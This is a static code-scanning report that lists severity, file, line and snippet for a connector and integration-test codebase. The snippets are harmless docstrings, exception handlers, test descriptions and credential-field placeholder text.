| HIGH | …ctors/core/base/token_service/token_refresh_service.py | 492 | Build complete OAuth flow configuration from all available sources. Tries shared OAuth config first, fa | STRING |
| HIGH | …ctors/core/base/token_service/token_refresh_service.py | 732 | Core token refresh logic - performs the actual OAuth token refresh. This is the single source of truth | STRING |
| HIGH | …/base/data_processor/data_source_entities_processor.py | 4064 | Delete a user group and all its associated edges from the database. Args: external_group_i | STRING |
| HIGH | …/base/data_processor/data_source_entities_processor.py | 4343 | Delete an app role and all its associated edges from the database. Args: external_role_id: | STRING |
| HIGH | backend/python/app/connectors/sources/web/connector.py | 541 | Fetch and parse connector configuration. Args: use_cache: Whether to use cached config (de | STRING |
| HIGH | …app/connectors/sources/microsoft/onedrive/connector.py | 1352 | Fetches users from a nested group (one level deep only). Args: nested_group: A group membe | STRING |
| HIGH | …/connectors/sources/microsoft/common/msgraph_client.py | 329 | Check if a user has a OneDrive drive provisioned. Args: user_id: The user identifier | STRING |
| HIGH | …kend/python/app/connectors/sources/linear/connector.py | 4101 | Create a BlockGroup object directly without using BlockGroupBuilder. Args: name: Name of t | STRING |
| HIGH | …kend/python/app/connectors/sources/linear/connector.py | 4675 | Process project BlockGroups for streaming by creating BlocksContainer on-demand. This function: | STRING |
| HIGH | …kend/python/app/connectors/sources/linear/connector.py | 4795 | Process issue BlockGroups for streaming by creating BlocksContainer on-demand. This function: | STRING |
| HIGH | …d/python/app/connectors/sources/bookstack/connector.py | 346 | Stream the content of a BookStack record. Args: record: The record to stream Retu | STRING |
| HIGH | …d/python/app/connectors/sources/snowflake/connector.py | 1310 | Fetch rows from a table with optional limit. Args: database_name: Database name | STRING |
| HIGH | …kend/python/app/connectors/sources/notion/connector.py | 3914 | Unified transform for pages and data_sources to WebpageRecord. Args: obj_data: Raw data fr | STRING |
| HIGH | …kend/python/app/connectors/sources/zammad/connector.py | 1110 | Fetch tickets for a specific group with pagination and incremental sync support. One search can page t | STRING |
| HIGH | …ectors/sources/atlassian/jira_data_center/connector.py | 4489 | Process issue BlockGroups for streaming by creating BlocksContainer on-demand. This function: | STRING |
| HIGH | …p/connectors/sources/atlassian/jira_cloud/connector.py | 4509 | Process issue BlockGroups for streaming by creating BlocksContainer on-demand. This function: | STRING |
| HIGH | …/atlassian/confluence_datacenter_personal/connector.py | 2754 | Fetch page or blogpost HTML from Confluence using v1 unified content API. Args: page_id: T | STRING |
| HIGH | …/atlassian/confluence_datacenter_personal/connector.py | 2827 | Fetch comment HTML content from Confluence based on record type. Args: record: CommentReco | STRING |
| HIGH | …/atlassian/confluence_datacenter_personal/connector.py | 2897 | Stream attachment file content from Confluence. Downloads the full file with retry before yielding so | STRING |
| HIGH | …ectors/sources/atlassian/confluence_cloud/connector.py | 4316 | Fetch page or blogpost styled_view HTML from Confluence using v2 API. Resolves URLs, inlines same-orig | STRING |
| HIGH | …ectors/sources/atlassian/confluence_cloud/connector.py | 5557 | Stream attachment file content from Confluence Cloud. Args: record: Record with external_r | STRING |
| HIGH | …s/sources/atlassian/confluence_datacenter/connector.py | 4455 | Fetch page or blogpost HTML from Confluence using v1 unified content API. Args: page_id: T | STRING |
| HIGH | …s/sources/atlassian/confluence_datacenter/connector.py | 4528 | Fetch comment HTML content from Confluence based on record type. Args: record: CommentReco | STRING |
| HIGH | …s/sources/atlassian/confluence_datacenter/connector.py | 4598 | Stream attachment file content from Confluence. Downloads the full file with retry before yielding so | STRING |
| HIGH | …/connectors/sources/servicenow/servicenow/connector.py | 679 | Fetch article HTML content from ServiceNow kb_knowledge table. Args: article_sys_id: The s | STRING |
| HIGH | …/connectors/sources/servicenow/servicenow/connector.py | 739 | Fetch attachment file content from ServiceNow. Uses the attachment download API: GET /api/now/attachme | STRING |
| HIGH | backend/python/app/connectors/api/router.py | 703 | FastAPI dependency to validate user authentication, retrieve connector instance, check beta access, and verify | STRING |
| HIGH | backend/python/app/connectors/api/router.py | 1652 | Convert a file buffer to PDF and return as a streaming response. Args: buffer: The file buffer (Stream | STRING |
| HIGH | backend/python/app/connectors/api/router.py | 3114 | Decode OAuth state to extract original state and connector_id. Args: encoded_state: Encoded state strin | STRING |
| HIGH | backend/python/app/connectors/api/router.py | 3186 | Get all available connector types from registry. This endpoint returns connector types that can be configured, | STRING |
| HIGH | backend/python/app/connectors/api/router.py | 4052 | Create a new connector instance. Request body should contain: - connector_type: Type of connector (from re | STRING |
| HIGH | backend/python/app/connectors/api/router.py | 4343 | Get a specific connector instance by its key. Args: connector_id: Unique instance key (_key) r | STRING |
| HIGH | backend/python/app/connectors/api/router.py | 4432 | Get configuration for a specific connector instance. Returns both registry metadata and instance-specific conf | STRING |
| HIGH | backend/python/app/connectors/api/router.py | 4769 | Update authentication configuration for a connector instance. Request body must contain: - auth: Authentic | STRING |
| HIGH | backend/python/app/connectors/api/router.py | 5116 | Update filters and sync configuration for a connector instance. Request body can contain: - sync: Sync set | STRING |
| HIGH | backend/python/app/connectors/api/router.py | 5270 | Update configuration for a connector instance. Request body can contain: - auth: Authentication configurat | STRING |
| HIGH | backend/python/app/connectors/api/router.py | 5698 | Extract and validate user authentication context from request. Args: request: FastAPI request object | STRING |
| HIGH | backend/python/app/connectors/api/router.py | 5797 | Retrieve connector instance and validate access. Args: connector_id: Connector instance ID use | STRING |
| HIGH | backend/python/app/connectors/api/router.py | 5973 | Build OAuth flow configuration from either shared OAuth config or direct auth config. Args: auth_confi | STRING |
| HIGH | backend/python/app/connectors/api/router.py | 6120 | Get OAuth authorization URL for a connector instance. Args: connector_id: Unique instance key | STRING |
| HIGH | backend/python/app/connectors/api/router.py | 6838 | Get filter options for a connector instance. Args: connector_id: Unique instance key request: | STRING |
| HIGH | backend/python/app/connectors/api/router.py | 6971 | Get dynamic options for a specific filter field with pagination support. This endpoint fetches the initialized | STRING |
| HIGH | backend/python/app/connectors/api/router.py | 7165 | Save filter selections for a connector instance. Args: connector_id: Unique instance key reque | STRING |
| HIGH | backend/python/app/connectors/api/router.py | 7435 | Ensure connector is initialized in container. If not, initialize it. Callers must hold ``connector_init_lock(c | STRING |
| HIGH | backend/python/app/connectors/api/router.py | 7612 | Toggle connector instance active status and trigger sync events. Args: connector_id: Unique instance k | STRING |
| HIGH | backend/python/app/connectors/api/router.py | 8138 | Get connector schema from registry. Args: connector_type: Type of connector request: FastAPI r | STRING |
| HIGH | backend/python/app/connectors/api/router.py | 8352 | Get all available connector/toolset types that have OAuth configurations registered. This endpoint returns con | STRING |
| HIGH | backend/python/app/connectors/api/router.py | 8408 | Get OAuth registry information for a specific connector type. This endpoint returns the OAuth configuration de | STRING |
| HIGH | backend/python/app/connectors/api/router.py | 9091 | Create a new OAuth configuration for a connector type (Admin only). Request body should contain: - oauthIn | STRING |
| HIGH | backend/python/app/connectors/api/router.py | 9318 | Get a specific OAuth configuration by ID. For admins: Returns full config including sensitive fields (clientId | STRING |
| 588 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | …s/connectors/azure_files/azure_files_storage_helper.py | 72 | except ResourceExistsError: | CODE |
| HIGH | …s/connectors/azure_files/azure_files_storage_helper.py | 174 | except HttpResponseError: | CODE |
| HIGH | integration-tests/connectors/gitlab/gitlab_expected.py | 363 | except ValueError: | CODE |
| HIGH | …ion-tests/connectors/linear/linear_integration_test.py | 731 | except Exception: | CODE |
| HIGH | …on-tests/connectors/google_drive_workspace/conftest.py | 155 | except Exception: | CODE |
| HIGH | …on-tests/connectors/google_drive_workspace/conftest.py | 517 | except Exception: | CODE |
| HIGH | …tegration-tests/connectors/cifs/cifs_storage_helper.py | 86 | except Exception: | CODE |
| HIGH | …tegration-tests/connectors/cifs/cifs_storage_helper.py | 113 | except Exception: | CODE |
| HIGH | …tegration-tests/connectors/cifs/cifs_storage_helper.py | 124 | except Exception: | CODE |
| HIGH | integration-tests/connectors/jira/jira_test_utils.py | 937 | except (TypeError, ValueError): | CODE |
| HIGH | integration-tests/connectors/smb/smb_storage_helper.py | 92 | except OSError: | CODE |
| HIGH | integration-tests/connectors/smb/smb_storage_helper.py | 130 | except OSError: | CODE |
| HIGH | integration-tests/connectors/smb/smb_storage_helper.py | 141 | except OSError: | CODE |
| HIGH | integration-tests/connectors/gcs/gcs_storage_helper.py | 33 | except (TypeError, ValueError, OSError): | CODE |
| HIGH | integration-tests/storage/storage_client.py | 205 | except ValueError: | CODE |
| HIGH | integration-tests/examples/integration_test_examples.py | 174 | except requests.ConnectionError: | CODE |
| HIGH | integration-tests/mcp_package/conftest.py | 115 | except Exception: # noqa: BLE001 - teardown must not mask test results | CODE |
| HIGH | …enterprise-search/projects/integration_test_project.py | 293 | except Exception: | CODE |
| HIGH | …on/enterprise-search/agents/integration_test_agents.py | 239 | except Exception: | CODE |
| HIGH | …se-search/search/integration_test_record_visibility.py | 225 | except Exception: # noqa: BLE001 - teardown must not fail the run | CODE |
| HIGH | …ations/integration_test_agent_conversation_feedback.py | 139 | except Exception: | CODE |
| HIGH | …sations/integration_test_agent_conversation_listing.py | 100 | except Exception: | CODE |
| HIGH | …sations/integration_test_conversation_non_streaming.py | 146 | except Exception: # noqa: BLE001 - best-effort cleanup | CODE |
| HIGH | …versations/integration_test_agent_attachment_upload.py | 106 | except Exception: | CODE |
| HIGH | …versations/integration_test_agent_attachment_upload.py | 168 | except Exception: | CODE |
| HIGH | …s/integration_test_agent_conversation_update_delete.py | 111 | except Exception: | CODE |
| HIGH | integration-tests/response-validation/mcp/conftest.py | 68 | except Exception: # noqa: BLE001 - teardown must not mask test results | CODE |
| HIGH | …on-tests/response-validation/knowledgebase/conftest.py | 148 | except requests.RequestException: | CODE |
| HIGH | …on-tests/response-validation/knowledgebase/conftest.py | 176 | except requests.RequestException: | CODE |
| HIGH | …on-tests/response-validation/knowledgebase/conftest.py | 355 | except requests.RequestException: | CODE |
| HIGH | …on-tests/response-validation/knowledgebase/conftest.py | 255 | except requests.RequestException: | CODE |
| HIGH | …ion/knowledgebase/integration_test_permissions_crud.py | 127 | except requests.RequestException: | CODE |
| HIGH | …e-validation/user_management/integration_test_teams.py | 262 | except Exception: | CODE |
| HIGH | …dation/user_management/integration_test_user_groups.py | 85 | except Exception: | CODE |
| HIGH | integration-tests/perf/bench_scale.py | 448 | except OSError: | CODE |
| HIGH | integration-tests/perf/stack.py | 245 | except OSError: | CODE |
| HIGH | integration-tests/helper/pipeshub_client.py | 73 | except Exception: | CODE |
| HIGH | integration-tests/helper/kb_upload_sse.py | 112 | except ValueError: | CODE |
| HIGH | integration-tests/helper/connector_lifecycle.py | 56 | except ImportError: | CODE |
| HIGH | integration-tests/helper/connector_lifecycle.py | 62 | except ImportError: | CODE |
| HIGH | integration-tests/helper/connector_lifecycle.py | 68 | except ImportError: | CODE |
| HIGH | integration-tests/helper/rate_limit_window.py | 35 | except ValueError: | CODE |
| HIGH | integration-tests/helper/mongo_store.py | 285 | except (InvalidId, TypeError): | CODE |
| HIGH | integration-tests/helper/ai_models_setup.py | 560 | except Exception: | CODE |
| HIGH | integration-tests/helper/ai_models_setup.py | 800 | except Exception: | CODE |
| HIGH | integration-tests/helper/integration_report.py | 332 | except Exception: | CODE |
| HIGH | integration-tests/messaging/conftest.py | 161 | except Exception: | CODE |
| HIGH | integration-tests/messaging/conftest.py | 241 | except Exception: | CODE |
| HIGH | integration-tests/messaging/conftest.py | 180 | except Exception: | CODE |
| HIGH | integration-tests/messaging/conftest.py | 370 | except Exception: | CODE |
| HIGH | integration-tests/messaging/conftest.py | 376 | except Exception: | CODE |
| HIGH | integration-tests/messaging/test_e2e_record_pipeline.py | 323 | except Exception: | CODE |
| HIGH | integration-tests/messaging/test_e2e_record_pipeline.py | 345 | except Exception: | CODE |
| HIGH | integration-tests/messaging/test_e2e_record_pipeline.py | 389 | except Exception: | CODE |
| HIGH | integration-tests/messaging/test_e2e_record_pipeline.py | 431 | except Exception: | CODE |
| HIGH | integration-tests/messaging/test_e2e_record_pipeline.py | 500 | except Exception: | CODE |
| HIGH | integration-tests/messaging/test_e2e_record_pipeline.py | 710 | except Exception: | CODE |
| HIGH | integration-tests/messaging/test_e2e_user_events.py | 335 | except Exception: | CODE |
| HIGH | integration-tests/sample-data/sample_data.py | 79 | except (subprocess.CalledProcessError, subprocess.TimeoutExpired): | CODE |
| HIGH | backend/python/app/docling_main.py | 125 | except asyncio.CancelledError: | CODE |
| 382 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | …individual/google_drive_individual_integration_test.py | 0 | disable then re-enable the connector to trigger a fresh incremental sync. | STRING |
| HIGH | …ion-tests/connectors/linear/linear_integration_test.py | 0 | disable then re-enable the connector to trigger a fresh incremental sync. | STRING |
| HIGH | …s/google_drive_workspace/drive_workspace_test_utils.py | 0 | disable then re-enable the connector to trigger a fresh incremental sync. | STRING |
| HIGH | …connectors/azure_files/azure_files_integration_test.py | 0 | gcs connector – integration tests =================================== tests receive a fully set-up connector via the ``g | STRING |
| HIGH | integration-tests/connectors/s3/s3_integration_test.py | 0 | gcs connector – integration tests =================================== tests receive a fully set-up connector via the ``g | STRING |
| HIGH | …s/connectors/azure_blob/azure_blob_integration_test.py | 0 | gcs connector – integration tests =================================== tests receive a fully set-up connector via the ``g | STRING |
| HIGH | …tegration-tests/connectors/gcs/gcs_integration_test.py | 0 | gcs connector – integration tests =================================== tests receive a fully set-up connector via the ``g | STRING |
| HIGH | …connectors/azure_files/azure_files_integration_test.py | 0 | tc-sync-001: after full sync, validate the graph thoroughly. | STRING |
| HIGH | integration-tests/connectors/s3/s3_integration_test.py | 0 | tc-sync-001: after full sync, validate the graph thoroughly. | STRING |
| HIGH | …ation-tests/connectors/minio/minio_integration_test.py | 0 | tc-sync-001: after full sync, validate the graph thoroughly. | STRING |
| HIGH | …s/connectors/azure_blob/azure_blob_integration_test.py | 0 | tc-sync-001: after full sync, validate the graph thoroughly. | STRING |
| HIGH | …connectors/azure_files/azure_files_integration_test.py | 0 | tc-incr-001: upload new files, run incremental sync, verify: - new files appear as new records in the graph - existing r | STRING |
| HIGH | integration-tests/connectors/s3/s3_integration_test.py | 0 | tc-incr-001: upload new files, run incremental sync, verify: - new files appear as new records in the graph - existing r | STRING |
| HIGH | …tegration-tests/connectors/gcs/gcs_integration_test.py | 0 | tc-incr-001: upload new files, run incremental sync, verify: - new files appear as new records in the graph - existing r | STRING |
| HIGH | …connectors/azure_files/azure_files_integration_test.py | 0 | tc-update-001: overwrite an existing blob with new content. after sync: - the record still exists (updated in place) - r | STRING |
| HIGH | integration-tests/connectors/s3/s3_integration_test.py | 0 | tc-update-001: overwrite an existing blob with new content. after sync: - the record still exists (updated in place) - r | STRING |
| HIGH | …s/connectors/azure_blob/azure_blob_integration_test.py | 0 | tc-update-001: overwrite an existing blob with new content. after sync: - the record still exists (updated in place) - r | STRING |
| HIGH | integration-tests/connectors/s3/s3_storage_helper.py | 0 | delete everything under this run's folder, and nothing else. | STRING |
| HIGH | …sts/connectors/azure_blob/azure_blob_storage_helper.py | 0 | delete everything under this run's folder, and nothing else. | STRING |
| HIGH | integration-tests/connectors/gcs/gcs_storage_helper.py | 0 | delete everything under this run's folder, and nothing else. | STRING |
| HIGH | …ration-tests/parsers/integration_test_txt_to_blocks.py | 0 | serialize to json shape, stripping volatile block/group ids. | STRING |
| HIGH | …ation-tests/parsers/integration_test_html_to_blocks.py | 0 | serialize to json shape, stripping volatile block/group ids. | STRING |
| HIGH | …n-tests/parsers/integration_test_markdown_to_blocks.py | 0 | serialize to json shape, stripping volatile block/group ids. | STRING |
| HIGH | …ation-tests/parsers/integration_test_yaml_to_blocks.py | 0 | serialize to json shape, stripping volatile block/group ids. | STRING |
| HIGH | integration-tests/storage/test_upload_rollback.py | 0 | local currently creates v0 eagerly; s3 keeps lazy v0 materialization. | STRING |
| HIGH | integration-tests/storage/test_versioning.py | 0 | local currently creates v0 eagerly; s3 keeps lazy v0 materialization. | STRING |
| HIGH | integration-tests/storage/test_metadata_integrity.py | 0 | local currently creates v0 eagerly; s3 keeps lazy v0 materialization. | STRING |
| HIGH | …/base/data_processor/data_source_entities_processor.py | 0 | return this connector's records of ``record_type``. | STRING |
| HIGH | …thon/app/connectors/core/base/data_store/data_store.py | 0 | return this connector's records of ``record_type``. | STRING |
| HIGH | …pp/connectors/core/base/data_store/graph_data_store.py | 0 | return this connector's records of ``record_type``. | STRING |
| HIGH | …d/python/app/connectors/sources/nextcloud/connector.py | 0 | extract date filter values from sync_filters. returns: tuple of (modified_after, modified_before, created_after, created | STRING |
| HIGH | backend/python/app/connectors/sources/box/connector.py | 0 | extract date filter values from sync_filters. returns: tuple of (modified_after, modified_before, created_after, created | STRING |
| HIGH | …ctors/sources/microsoft/sharepoint_online/connector.py | 0 | extract date filter values from sync_filters. returns: tuple of (modified_after, modified_before, created_after, created | STRING |
| HIGH | …d/python/app/connectors/sources/bookstack/connector.py | 0 | extract date filter values from sync_filters. returns: tuple of (modified_after, modified_before, created_after, created | STRING |
| HIGH | …end/python/app/connectors/sources/dropbox/connector.py | 0 | extract date filter values from sync_filters. returns: tuple of (modified_after, modified_before, created_after, created | STRING |
| HIGH | …app/connectors/sources/dropbox_individual/connector.py | 0 | extract date filter values from sync_filters. returns: tuple of (modified_after, modified_before, created_after, created | STRING |
| HIGH | …ython/app/connectors/sources/github_teams/connector.py | 0 | record which source account this connector is authenticated as, so a creator whose pipeshub email differs still resolves | STRING |
| HIGH | …kend/python/app/connectors/sources/gitlab/connector.py | 0 | record which source account this connector is authenticated as, so a creator whose pipeshub email differs still resolves | STRING |
| HIGH | …kend/python/app/connectors/sources/linear/connector.py | 0 | record which source account this connector is authenticated as, so a creator whose pipeshub email differs still resolves | STRING |
| HIGH | …ectors/sources/atlassian/jira_data_center/connector.py | 0 | record which source account this connector is authenticated as, so a creator whose pipeshub email differs still resolves | STRING |
| HIGH | …s/sources/atlassian/confluence_datacenter/connector.py | 0 | record which source account this connector is authenticated as, so a creator whose pipeshub email differs still resolves | STRING |
| HIGH | …python/app/connectors/sources/azure_files/connector.py | 0 | reindex records by checking for updates at source and publishing reindex events. | STRING |
| HIGH | …end/python/app/connectors/sources/s3/base_connector.py | 0 | reindex records by checking for updates at source and publishing reindex events. | STRING |
| HIGH | …p/connectors/sources/google_cloud_storage/connector.py | 0 | reindex records by checking for updates at source and publishing reindex events. | STRING |
| HIGH | …/python/app/connectors/sources/azure_blob/connector.py | 0 | reindex records by checking for updates at source and publishing reindex events. | STRING |
| HIGH | …python/app/connectors/sources/azure_files/connector.py | 0 | check if record has been updated at source and fetch updated data. | STRING |
| HIGH | …end/python/app/connectors/sources/s3/base_connector.py | 0 | check if record has been updated at source and fetch updated data. | STRING |
| HIGH | …p/connectors/sources/google_cloud_storage/connector.py | 0 | check if record has been updated at source and fetch updated data. | STRING |
| HIGH | …/python/app/connectors/sources/azure_blob/connector.py | 0 | check if record has been updated at source and fetch updated data. | STRING |
| HIGH | …end/python/app/connectors/sources/s3/base_connector.py | 0 | process the unchanged blobs that have no record of their own, when that is safe. the connectors take equal content at a | STRING |
| HIGH | …p/connectors/sources/google_cloud_storage/connector.py | 0 | process the unchanged blobs that have no record of their own, when that is safe. the connectors take equal content at a | STRING |
| HIGH | …/python/app/connectors/sources/azure_blob/connector.py | 0 | process the unchanged blobs that have no record of their own, when that is safe. the connectors take equal content at a | STRING |
| HIGH | …end/python/app/connectors/sources/s3/base_connector.py | 0 | whether ``record``'s blob is still listed. a check that fails counts as yes: taking a copy for a move would lose the ori | STRING |
| HIGH | …p/connectors/sources/google_cloud_storage/connector.py | 0 | whether ``record``'s blob is still listed. a check that fails counts as yes: taking a copy for a move would lose the ori | STRING |
| HIGH | …/python/app/connectors/sources/azure_blob/connector.py | 0 | whether ``record``'s blob is still listed. a check that fails counts as yes: taking a copy for a move would lose the ori | STRING |
| HIGH | …/app/connectors/sources/google/drive/team/connector.py | 0 | parse datetime object or string to epoch timestamp in milliseconds. | STRING |
| HIGH | …onnectors/sources/google/drive/individual/connector.py | 0 | parse datetime object or string to epoch timestamp in milliseconds. | STRING |
| HIGH | …app/connectors/sources/microsoft/onedrive/connector.py | 0 | parse datetime object or string to epoch timestamp in milliseconds. | STRING |
| HIGH | …/app/connectors/sources/google/drive/team/connector.py | 0 | handle different types of record updates (new, updated, deleted). | STRING |
| HIGH | …onnectors/sources/google/drive/individual/connector.py | 0 | handle different types of record updates (new, updated, deleted). | STRING |
| 349 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | …gration-tests/connectors/demo/demo_integration_test.py | 302 | CODE | |
| LOW | integration-tests/connectors/github_teams/conftest.py | 116 | CODE | |
| LOW | …tegration-tests/connectors/gitlab/gitlab_test_utils.py | 641 | CODE | |
| LOW | …tegration-tests/connectors/linear/linear_test_utils.py | 265 | CODE | |
| LOW | …tegration-tests/connectors/linear/linear_test_utils.py | 437 | CODE | |
| LOW | …tegration-tests/connectors/linear/linear_test_utils.py | 814 | CODE | |
| LOW | integration-tests/connectors/notion/notion_seed.py | 522 | CODE | |
| LOW | integration-tests/connectors/notion/notion_expected.py | 85 | CODE | |
| LOW | …ration-tests/connectors/notion/notion_source_helper.py | 196 | CODE | |
| LOW | integration-tests/connectors/jira/jira_test_utils.py | 289 | CODE | |
| LOW | integration-tests/connectors/jira/jira_test_utils.py | 372 | CODE | |
| LOW | integration-tests/connectors/jira/jira_test_utils.py | 474 | CODE | |
| LOW | integration-tests/connectors/jira/jira_test_utils.py | 662 | CODE | |
| LOW | integration-tests/connectors/jira/jira_test_utils.py | 779 | CODE | |
| LOW | integration-tests/connectors/jira/jira_test_utils.py | 1106 | CODE | |
| LOW | integration-tests/connectors/jira/jira_test_utils.py | 1125 | CODE | |
| LOW | integration-tests/connectors/jira/conftest.py | 88 | CODE | |
| LOW | …ests/connectors/confluence/confluence_v1_test_utils.py | 97 | CODE | |
| LOW | integration-tests/connectors/smb/smb_storage_helper.py | 52 | CODE | |
| LOW | integration-tests/connectors/smb/smb_storage_helper.py | 55 | CODE | |
| LOW | …tion-tests/unit/test_connector_types_are_registered.py | 34 | CODE | |
| LOW | …tion-tests/unit/test_connector_types_are_registered.py | 67 | CODE | |
| LOW | …tion-tests/unit/test_connector_types_are_registered.py | 147 | CODE | |
| LOW | …tion-tests/unit/test_connector_types_are_registered.py | 167 | CODE | |
| LOW | …tion-tests/unit/test_connector_types_are_registered.py | 115 | CODE | |
| LOW | …tion-tests/unit/test_connector_types_are_registered.py | 150 | CODE | |
| LOW | integration-tests/permissions/conftest.py | 84 | CODE | |
| LOW | …ion-tests/permissions/test_conditional_admin_routes.py | 92 | CODE | |
| LOW | …ion-tests/permissions/test_conditional_admin_routes.py | 96 | CODE | |
| LOW | integration-tests/cleanup/test_folder_scope.py | 46 | CODE | |
| LOW | …egration-tests/resilience/test_vector_store_rebuild.py | 329 | CODE | |
| LOW | integration-tests/resilience/test_storage_unwritable.py | 41 | CODE | |
| LOW | integration-tests/examples/integration_test_examples.py | 148 | CODE | |
| LOW | …on/enterprise-search/agents/integration_test_agents.py | 178 | CODE | |
| LOW | …-search/conversations/integration_test_conversation.py | 165 | CODE | |
| LOW | …-search/conversations/integration_test_conversation.py | 216 | CODE | |
| LOW | …-search/conversations/integration_test_conversation.py | 270 | CODE | |
| LOW | …-search/conversations/integration_test_conversation.py | 318 | CODE | |
| LOW | …rsations/integration_test_agent_conversation_stream.py | 120 | CODE | |
| LOW | …rsations/integration_test_agent_conversation_stream.py | 199 | CODE | |
| LOW | …versations/integration_test_agent_attachment_upload.py | 113 | CODE | |
| LOW | …e-validation/user_management/integration_test_teams.py | 62 | CODE | |
| LOW | …dation/user_management/integration_test_user_groups.py | 130 | CODE | |
| LOW | …response-validation/helper/openapi_schema_validator.py | 175 | CODE | |
| LOW | …tests/response-validation/helper/response_validator.py | 345 | CODE | |
| LOW | …tests/response-validation/helper/response_validator.py | 383 | CODE | |
| LOW | integration-tests/perf/bench_scale.py | 233 | CODE | |
| LOW | integration-tests/perf/bench_scale.py | 142 | CODE | |
| LOW | integration-tests/perf/stack.py | 92 | CODE | |
| LOW | integration-tests/perf/stack.py | 144 | CODE | |
| LOW | integration-tests/perf/stack.py | 167 | CODE | |
| LOW | integration-tests/perf/bench_query.py | 274 | CODE | |
| LOW | integration-tests/perf/bench_indexing.py | 144 | CODE | |
| LOW | integration-tests/perf/corpus.py | 171 | CODE | |
| LOW | integration-tests/helper/admin_routes.py | 62 | CODE | |
| LOW | integration-tests/helper/admin_routes.py | 115 | CODE | |
| LOW | integration-tests/helper/admin_routes.py | 196 | CODE | |
| LOW | integration-tests/helper/admin_routes.py | 222 | CODE | |
| LOW | integration-tests/helper/vector_store.py | 253 | CODE | |
| LOW | integration-tests/helper/pipeshub_client.py | 175 | CODE | |
| 1531 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | frontend/app/mock-data/connectors/registry.json | 47 | "placeholder": "Enter your Azure AD Application ID", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 61 | "placeholder": "Enter your Azure AD Client Secret", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 75 | "placeholder": "Enter your Azure AD Tenant ID", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 89 | "placeholder": "", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 103 | "placeholder": "http://localhost:3001/connectors/oauth/callback/onedrive", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 397 | "placeholder": "Enter your Azure AD Application ID", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 411 | "placeholder": "Enter your Azure AD Tenant ID", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 425 | "placeholder": "", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 439 | "placeholder": "https://your-domain.sharepoint.com", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 784 | "placeholder": "Enter your Azure AD Application ID", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 798 | "placeholder": "Enter your Azure AD Client Secret", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 812 | "placeholder": "Enter your Azure AD Tenant ID", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 826 | "placeholder": "", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 840 | "placeholder": "connectors/Outlook/oauth/callback", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 1085 | "placeholder": "Enter your Client ID", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 1099 | "placeholder": "Enter your Client Secret", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 1438 | "placeholder": "Enter your Atlassian Cloud Application ID", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 1452 | "placeholder": "Enter your Atlassian Cloud Client Secret", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 1690 | "placeholder": "Enter your Box Developer Console Application (Client) ID", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 1704 | "placeholder": "Enter your Box Developer Console Client Secret", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 1718 | "placeholder": "Enter your Box Enterprise ID", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 1996 | "placeholder": "Enter your Client ID", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 2010 | "placeholder": "Enter your Client Secret", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 2356 | "placeholder": "Enter your Client ID", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 2370 | "placeholder": "Enter your Client Secret", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 2579 | "placeholder": "Enter your Client ID", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 2593 | "placeholder": "Enter your Client Secret", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 2920 | "placeholder": "https://your-instance.service-now.com", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 2934 | "placeholder": "https://your-instance.service-now.com/oauth_auth.do", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 2948 | "placeholder": "https://your-instance.service-now.com/oauth_token.do", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 2962 | "placeholder": "Enter your Client ID", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 2976 | "placeholder": "Enter your Client Secret", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 3368 | "placeholder": "https://bookstack.example.com", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 3382 | "placeholder": "YourTokenID", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 3396 | "placeholder": "YourTokenSecret", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 3584 | "placeholder": "Enter your Access Key", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 3598 | "placeholder": "Enter your Secret Key", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 3883 | "placeholder": "http://localhost:9000 or https://minio.example.com", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 3897 | "placeholder": "Enter your MinIO Access Key", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 3911 | "placeholder": "Enter your MinIO Secret Key", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 3925 | "placeholder": "", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 3939 | "placeholder": "", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 4142 | "placeholder": "Click to upload service account JSON file", | CODE |
| LOW | frontend/app/mock-data/connectors/registry.json | 4427 | "placeholder": "DefaultEndpointsProtocol=https;AccountName=...", | CODE |
